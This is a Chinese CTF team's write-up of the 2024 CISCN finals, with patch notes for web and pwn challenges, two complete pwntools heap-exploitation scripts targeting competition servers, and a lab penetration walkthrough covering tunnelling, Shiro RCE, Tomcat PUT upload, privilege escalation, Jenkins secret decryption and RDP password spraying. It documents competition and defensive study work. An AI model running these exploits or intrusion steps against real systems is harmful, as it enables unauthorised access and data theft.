Intro
“专科生 拿国一!”
如果我在国赛初赛前就说我们ACT可以冲击国一,那么我队友一定会说“怎么可能”哈哈哈哈哈哈🤣。
初赛后,我们Pwn手(写这个就是Pwn手 哈哈哈哈)觉得,我们拿下了初赛第十,ACT也进入到了更多人的视线之中。
半决赛的AWDP赛制不像之前,我们四个人负责的四个方向,只能依靠Web手和Pwn手。Pwn手发力,加上Re手脚本功底,Misc手应急响应使我们稳稳进入决赛。
可信Bulid——折磨Pwn手从头学起;AWDP——Pwn手发力,Web手紧追;渗透——Web手和Re手配合。
我们学校信安专业仅有三年的大学时光,在大二最后一个学期,把CISCN当做最后一个大型比赛来打。
成绩不是想出来的,靠的是我们坚持不懈,依稀记得有人曾质疑我们“拿不了 国一”,或许奖与奖之间略有不同,但是这是全国大学生的国一!!!
在此感谢我们团队的每一个人!!!
AWDP
Web
ezJS
break
参考:https://xz.aliyun.com/t/13512
trick:存在一处文件上传可控点,在node_modules
添加文件夹ttt,通过恶意的js命令执行。然后键入任意文件名为ttt
即可调用
fix
根据逻辑添加白名单,增加旧文件过滤字符 .js .ejs。这里只过滤.js
也可以过check
app.get('/rename',IfLogin, (req, res) => {
if (req.session.user !== 'ADMIN') {
return res.status(403).send('Access forbidden');
}
const { oldPath , newPath } = req.query;
if (!oldPath || !newPath) {
return res.status(400).send('Missing oldPath or newPath');
}
if (newPath && /app.js|\|.ejs/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /..|flag|.js|.ejs/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}1
const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);
#!/bin/sh
mv app.js /app/app.js
chmod 777 /app/app.js
ShareCard
fix
这里发现sytle参数是没对后续执行点操作的。直接修改参数值即可,替换一个不存在的
@app.route("/createCard", methods=["GET", "POST"])
def create_card():
if request.method == "GET":
return safer_render_template("create.html")
if request.form.get('style')!=None:
open('templates/style.css','w').write(request.form.get('stabcyle12344'))
update.sh
#!/bin/sh
mv app.py /app/app.py
chmod 777 /app/app.py
SolonMaster
经典开局java题,先将jar包进行反编译,丢入jadx-gui
分析
做了fix
根据考点java反序列化,白名单进行过滤关键字绕过snack
和log
关键字绕过check
@Mapping("/api")
@Post
public String api(Map map, Context ctx) throws Exception {
JSONObject jsonObject = new JSONObject(ctx.body());
if (map.size() != jsonObject.length()) {
byte[] decodedata =Base64.getEncoder.decode((String)map.get("data"));
String data1 = new String(decodedata);
if (data1.contains("snack") && data1.contains("log")) {
return "false";} else{
User user = (User)deserialize((String)map.get("data"));
return user.getName();
}
}
return "success";
}
修复后,替换class类包修复,编写update.sh
打包进行上传
update.sh
#!/bin/sh
mv solon_master.jar /web/java/solon_master.jar
chmod 777 /web/java/solon_master.jar
PWN
ezheap
fix
这题有两个漏洞,应该修复一个就可以是他们攻击失效了(检测的exp
估计只有一个,应该结合两个漏洞一起的)
UAF
堆溢出
输入大小没有检查
当时fix的时候没有看到堆溢出这个漏洞,直接看到UAF了,要是仔细一些时间上应该可以消耗少一些
_eh_frame
上写patch
,然后修改
把指针置零
break(一血)
大家会卡住的地方可能就是在交互数据的格式上,可以定位这里
__int64 __fastcall sub_391B(__int64 a1, _QWORD *a2)
{
if ( !a2 || !*a2 )
return 0LL;
if ( (unsigned __int64)(a2[2] + 4LL) <= a2[1] && !strncmp((const char *)(*a2 + a2[2]), "null", 4uLL) )
{
*(_DWORD *)(a1 + 24) = 4;
a2[2] += 4LL;
return 1LL;
}
else if ( (unsigned __int64)(a2[2] + 5LL) <= a2[1] && !strncmp((const char *)(*a2 + a2[2]), "false", 5uLL) )
{
*(_DWORD *)(a1 + 24) = 1;
a2[2] += 5LL;
return 1LL;
}
else if ( (unsigned __int64)(a2[2] + 4LL) <= a2[1] && !strncmp((const char *)(*a2 + a2[2]), "true", 4uLL) )
{
*(_DWORD *)(a1 + 24) = 2;
*(_DWORD *)(a1 + 40) = 1;
a2[2] += 4LL;
return 1LL;
}
else if ( a2[2] < a2[1] && *(_BYTE *)(*a2 + a2[2]) == '"' )
{
return sub_2A49(a1, a2);
}
else if ( a2[2] < a2[1]
&& (*(_BYTE *)(*a2 + a2[2]) == '-' || *(_BYTE *)(*a2 + a2[2]) > '/' && *(_BYTE *)(*a2 + a2[2]) <= '9') )
{
return sub_1DFE(a1, a2);
}
else if ( a2[2] < a2[1] && *(_BYTE *)(*a2 + a2[2]) == '[' )
{
return sub_3E4A(a1, a2);
}
else if ( a2[2] < a2[1] && *(_BYTE *)(*a2 + a2[2]) == '{' )
{
return sub_42BB(a1, a2);
}
else
{
return 0LL;
}
}
这里的匹配字符{
,"
,[
都是json
格式常见的,所以也不难联想到
利用的话有UAF和堆溢出两个漏洞,难度直线下滑,exp如下:
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name,env={"LD_PRELOAD":"./libc.so.6"})
p = remote("101.200.238.173",18322)
elf = ELF(name)
def add(idx,size,content):
p.sendlineafter("Please input:",'{"choice":"new","index":'+ str(idx)+',"length":' + str(size) + ',"message":"' + content + '"}')
def dele(idx):
p.sendlineafter("Please input:",'{"choice":"rm","index":'+ str(idx)+',"length":0,"message":"0"}')
def edit(idx,size,content,mode=0):
p.sendlineafter("Please input:",'{"choice":"modify","index":'+ str(idx)+',"length":' + str(size) + ',"message":"' + content + '"}')
def show(idx):
p.sendlineafter("Please input:",'{"choice":"view","index":'+ str(idx)+',"length":0,"message":"0"}')
get_p("./pwn")
add(0,0x110,"AAAAAAA")
add(1,0x110,"AAAAAAA")
add(4,0x400,"BBBBBBB")
add(5,0x400,"BBBBBBB")
dele(0)
dele(1)
show(1)
p.recvuntil("message:")
heap_addr = u64(p.recv(6).ljust(0x8,b"x00")) - 0x4f0
print(hex(heap_addr))
edit(2,0x65a,"A"*0x658+"x61x05")
dele(3)
add(0,0x30,"A"*7)
edit(4,0x8,"A"*8)
show(4)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x1ecbe0
print(hex(libc.address))
system = libc.sym['system']
p.sendlineafter("Please input:",b'{"choice":"modify","index":1,"length":6,"message":"' + p64(libc.sym['__free_hook'])[:6] + b'"}')
add(0,0x110,"/bin/sh")
p.sendlineafter("Please input:",b'{"choice":"new","index":1,"length":272,"message":"' + p64(system)[:6] + b'"}')
dele(5)
# gdb.attach(p,"b *$rebase(0x015D4)")
# sleep(2)
p.interactive()
anime
fix
十分明显的格式化字符串漏洞
由于不知道它检查的机制,所以在_eh_frame
修复上改写patch
的代码,变成printf("%s",a1);
但是后面看提交修改的速度来看,基本上是把call printf
修改为call puts
了,既然也可以过
耽搁一些速度,策略上有点点问题,第一轮没出来不太应该
break
被裁判diss,说怎么用wsl
,只能说谁家好人Ubuntu
把所有版本装完哇,就是没有20.22
的,环境实在是差一点点,给库也老是没给全,没办法,这题难度不大,同步远程环境难度却很大,我觉得不太应该的这题这样搞的
卡壳了很久后面才转去做CHR
PHP
没整 PHP PWN没咋学过 哈哈哈哈哈
CHR
fix
数据输出大小存在溢出。
修改成输入大小,为正常大小即可,前面anime
利用无望就回头搞这个题了,调试的情况下才发现这个漏洞,后面才了解到最近还有一个CVE-2024-2961
是这个相关的
如果awd
的话,可能有大佬会用这个来利用吧
break(二血 最后才出来没截图)
可以利用上面的堆溢出来造成堆块重叠,风水布局,然后就可以泄露出来堆地址和libc
地址
后面就到我卡住的地方了,因为这个libc
实在是新,没有想到会限制往_IO_list_all
申请(时间应该是14轮),按我已学的知识,感觉就无法使用FSOP
了;后面转去尝试_IO_2_1_stdout
泄露栈地址打ROP
,但是版本应该是限制常用_IO_FILE
的内存区域申请(15轮)
我们也无法直接申请到environ
内存地址上
因为有个初始化,但是后面看到这个
用的是read
函数,不会填充00
字符,所以申请在environ
上方,然后把environ当作下个chunk
的size
位泄露出来(16轮)
后面就好利用了,想着ROP
链直接getshell
,忘记了检查是否开了沙盒(17轮)
结果是开了沙箱,我人就傻住了,缝缝补补还是没有在17轮结束前整完,最后在最后一轮拿下
exp
如下
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("101.200.238.173",38600)
elf = ELF(name)
def add(size,content):
p.sendlineafter("choice >> ",'1')
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def dele(idx):
p.sendlineafter("choice >> ",'2')
p.sendlineafter("idx:",str(idx))
def edit(size,content):
p.sendlineafter("choice >> ",'3')
p.sendlineafter("idx:",str(size))
p.sendafter("content:",content)
def show(idx):
p.sendlineafter("choice >> ",'4')
p.sendlineafter("idx:",str(idx))
def vuln(idx):
p.sendlineafter("choice >> ",'5')
p.sendlineafter("idx:",str(idx))
get_p("./pwn")
add(0x208,"艹"+"A"*0x200+'x41x04')
add(0x200,"AAA")
add(0x208,"艹"+"A"*0x200+'x41x04')
add(0x200,p64(0)*3+p64(0x201-0x10))
add(0x200,"AAA")
add(0x200,p64(0)*3+p64(0x201-0x10))
vuln(0)
vuln(2)
dele(1)
add(0x438,b"A"*(0x418)+p64(0x441))
dele(3)
edit(1,b"A"*(0x420))
show(1)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x203b20
# show()
edit(1,b"A"*(0x208)+p64(0x211))
dele(2)
edit(1,b"A"*(0x20f)+b"?")
show(1)
p.recvuntil("?")
heap = u64(p.recv(5).ljust(0x8,b"x00")) * 0x1000
add(0x200,"AAA")
print(hex(heap))
dele(0)
edit(1,b"A"*(0x208)+p64(0x211))
dele(2)
edit(1,b"A"*(0x208)+p64(0x211)+p64((heap>>12)^libc.sym['environ']-0x208))
add(0x200,"AAA")
# add(0x200,p64(heap))
add(0x208,"A"*0x208)
print(hex(libc.sym['environ']))
show(2)
stack = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) -8 - 0x180 - 0x10
print(hex(stack))
dele(4)
dele(0)
edit(1,b"A"*(0x208)+p64(0x211)+p64((heap>>12)^stack))
add(0x208,"A"*0x208)
pop_rdi = 0x000000000010f75b + libc.address
pop_rsi = 0x0000000000110a4d + libc.address
# gdb.attach(p,"b *$rebase(0x01C7D)")
# sleep(2)
pop_rdx = 0x0000000000066b9a + libc.address
payload = p64(0) + p64(pop_rdi) + p64(stack+0x200) + p64(pop_rsi) + p64(0) + p64(libc.sym['open'])
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x200) + p64(pop_rdx) + p64(0x40) + p64(libc.sym['read'])
payload += b"A"*(0x21-8) + p64(pop_rdi) + p64(1) + p64(libc.sym['write'])
add(0x208,payload.ljust(0x200,b"x00")+b"/flag")
print(hex(stack))
p.interactive()
整体感觉下来,还是有小失误,原本还想着有个Pwn
方向的奖,有失误误判了一些没有在快时间解决也是一个问题,总体还是比较满意这次比赛状态,毕竟可以在前三血榜中看到我的身影
Pentesting
靶场纸条:第二列起分别为战队名称、座位号、ERP ip、vps ip、官网ip
比赛时间:2024年7月21日8:00-14:00
在这个靶场中,您将扮演一名渗透测试工程师,接受雇佣任务来评估 VertexSoft 科技有限公司的网络安全。VertexSoft 是一家专注于互联网与信息技术领域的领先公司,该公司致力于为客户提供卓越的数字解决方案,以满足各种业务需求。您的任务是首先入侵公司在公网上暴露的应用程序,然后运用后渗透技巧深入 VertexSoft 公司的内部网络。在这个过程中,您将寻找潜在的弱点和漏洞,并逐一接管所有服务。最终的目标是接管域控制器,从而控制整个内部网络。靶场中共设置了8个Flag,它们分布在不同的靶机上,您需要找到并获取这些Flag作为您的成就目标。该靶场已为选手提供了 VPS,其与靶场入口同一网段,仅用于反弹 Shell 和反向代理使用。反弹 Shell 和反向代理时请使用 VPS 内网 IP 作为监听地址。VPS SSH 凭据:root/6KG6!spRA8,请选手登陆后自行修改 SSH 密码。
给了三个IP地址如下
ACT - 8.130.89.204 8.130.54.113 8.130.51.112
注意:这里比赛需要用主办方提供的VPS地址,外网打点渗透。在做内网隧道的过程中,需要连接VPS提供的内部IP,不是出口IP。
Frp搭建隧道
serverAddr = "8.130.54.113"
serverPort = 7000
[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 6001
[proxies.plugin]
type = "socks5"
整理内网信息
192.168.8.146:22 open
192.168.8.42:22 open
192.168.8.12:53 open
192.168.8.12:88 open
192.168.8.42:80 open
192.168.8.9:80 open
192.168.8.38:135 open
192.168.8.26:135 open
192.168.8.16:135 open
192.168.8.12:135 open
192.168.8.9:135 open
192.168.8.38:139 open
192.168.8.26:139 open
192.168.8.16:139 open
192.168.8.12:139 open
192.168.8.9:139 open
192.168.8.12:389 open
192.168.8.38:445 open
192.168.8.16:445 open
192.168.8.9:445 open
192.168.8.26:445 open
192.168.8.12:445 open
192.168.8.12:464 open
192.168.8.12:593 open
192.168.8.12:636 open
192.168.8.9:1433 open
192.168.8.9:2383 open
192.168.8.12:3268 open
192.168.8.12:3269 open
192.168.8.38:3306 open
192.168.8.9:3389 open
192.168.8.12:3389 open
192.168.8.16:3389 open
192.168.8.38:3389 open
192.168.8.26:3389 open
192.168.8.146:6666 open
192.168.8.9:8000 open
192.168.8.42:8060 open
192.168.8.146:8080 open
192.168.8.16:8080 open
192.168.8.26:8080 open
192.168.8.9:8172 open
192.168.8.42:9094 open
192.168.8.12:9389 open
192.168.8.9:16450 open
192.168.8.9:16451 open
192.168.8.9:16452 open
192.168.8.9:16453 open
192.168.8.9:17001 open
192.168.8.38:33060 open
192.168.8.9:47001 open
192.168.8.16:47001 open
192.168.8.12:47001 open
192.168.8.26:47001 open
192.168.8.38:47001 open
192.168.8.26:49481 open
192.168.8.26:49487 open
192.168.8.9:49664 open
192.168.8.12:49664 open
192.168.8.26:49664 open
192.168.8.16:49664 open
192.168.8.38:49664 open
192.168.8.12:49665 open
192.168.8.9:49665 open
192.168.8.26:49665 open
192.168.8.16:49665 open
192.168.8.38:49665 open
192.168.8.9:49666 open
192.168.8.12:49666 open
192.168.8.26:49666 open
192.168.8.38:49666 open
192.168.8.16:49666 open
192.168.8.9:49667 open
192.168.8.12:49667 open
192.168.8.16:49667 open
192.168.8.38:49667 open
192.168.8.26:49667 open
192.168.8.12:49668 open
192.168.8.9:49668 open
192.168.8.16:49668 open
192.168.8.26:49668 open
192.168.8.38:49668 open
192.168.8.9:49669 open
192.168.8.26:49669 open
192.168.8.16:49669 open
192.168.8.38:49669 open
192.168.8.9:49670 open
192.168.8.16:49670 open
192.168.8.16:49677 open
192.168.8.12:50386 open
192.168.8.12:50387 open
192.168.8.12:50388 open
192.168.8.12:50389 open
192.168.8.12:50737 open
192.168.8.12:50746 open
192.168.8.12:50776 open
192.168.8.12:50808 open
192.168.8.9:59898 open
192.168.8.38:60923 open
192.168.8.38:60929 open
[*] NetBios: 192.168.8.38 WORKGROUPWIN-OPS88
[*] NetInfo:
[*]192.168.8.12
[->]RODC
[->]192.168.8.12
[*] NetInfo:
[*]192.168.8.26
[->]WIN-PC3788
[->]192.168.8.26
[*] NetInfo:
[*]192.168.8.38
[->]WIN-OPS88
[->]192.168.8.38
[*] NetInfo:
[*]192.168.8.16
[->]WIN-SERVER03
[->]192.168.8.16
[*] NetInfo:
[*]192.168.8.9
[->]WIN-IISSERER
[->]192.168.8.9
[*] WebTitle: http://192.168.8.42 code:302 len:99 title:None 跳转url: http://192.168.8.42/users/sign_in
[*] WebTitle: http://192.168.8.9 code:200 len:43679 title:VertexSoft
[*] WebTitle: http://192.168.8.16:47001 code:404 len:315 title:Not Found
[*] NetBios: 192.168.8.16 WORKGROUPWIN-SERVER03
[*] NetBios: 192.168.8.9 WORKGROUPWIN-IISSERER
[*] NetBios: 192.168.8.26 WORKGROUPWIN-PC3788
[*] NetBios: 192.168.8.12 [+]DC VERTEXSOFTRODC
[*] WebTitle: http://192.168.8.146:8080 code:302 len:0 title:None 跳转url: http://192.168.8.146:8080/login;jsessionid=A5D077628F877FE924FEB33DD1133AF1
[*] WebTitle: http://192.168.8.26:47001 code:404 len:315 title:Not Found
[*] WebTitle: http://192.168.8.9:47001 code:404 len:315 title:Not Found
[*] WebTitle: http://192.168.8.9:8000 code:200 len:4018 title:Modbus Monitor - VertexSoft Internal Attendance System
[*] WebTitle: http://192.168.8.12:47001 code:404 len:315 title:Not Found
[*] WebTitle: http://192.168.8.38:47001 code:404 len:315 title:Not Found
[*] WebTitle: http://192.168.8.42:8060 code:404 len:555 title:404 Not Found
[*] WebTitle: http://192.168.8.26:8080 code:200 len:147 title:第一个 JSP 程序
[*] WebTitle: https://192.168.8.9:8172 code:404 len:0 title:None
[*] WebTitle: http://192.168.8.146:8080/login;jsessionid=A5D077628F877FE924FEB33DD1133AF1 code:200 len:1383 title:Master ERP login Form
[*] WebTitle: http://192.168.8.16:8080 code:403 len:594 title:None
[*] WebTitle: http://192.168.8.42/users/sign_in code:200 len:11166 title:登录 · GitLab
[+] mysql:192.168.8.38:3306:root 123456
[+] http://192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file
[+] http://192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2
ERP
heapdump泄露shirokey + shiro AES爆破链子,注入内存马RCE
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > 1.txt
WIN-PC3788
CVE-2017-12615
,burp抓包put上传jsp,会上传到../backup/upload/1.jsp,文件内容不解析。
测试了常见的fuzz后缀没成功解析,下午队友测试意外发现可通过访问上级目录可解析webshell,访问../backup/1.jsp 成功执行,需要提权
写个冰蝎webshell+配合Ladon911.exe 土豆提权拿下
Jinkens
弱口令登录,在/script
目录下存在漏洞点。新建用户+远程RDP即可
Gitlab
测试了常见的漏洞,后面发现这题需要配合读取Jenkins靶机的信息,通过解密读取Gitlab API,最终获取Gitlab敏感信息
println(hudson.util.Secret.fromString("{加密secret}").getPlainText())
参考:春秋云镜靶标-Privilege
proxychains git clone http://oauth2:[email protected]/vertexsoft/vertexsoftbackup.git
WIN-OPS88
存在一台mysql
服务器,利用口令登录,配合UDF提权获取flag
RODC
WIN-OPS88
机器下的存在一个ROAdmins.xlsx文件,利用密码配合crackrdp喷射主机服务,存在可远程登录用户
DC
想打还没摸到的域控,主机测试mimikatz配合提权获取失败,蹲一手官方Writeup了。
End
感谢学校给予我们这次比赛机会,也感谢专业老师对我们团队的重视,最后感谢我们团队的每一个小伙伴!
开个玩笑话,信安专业什么时候可以升本呀哈哈哈
原文始发于微信公众号(ACT Team):2024年第十七届全国大学生信息安全竞赛(CISCN)总决赛Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论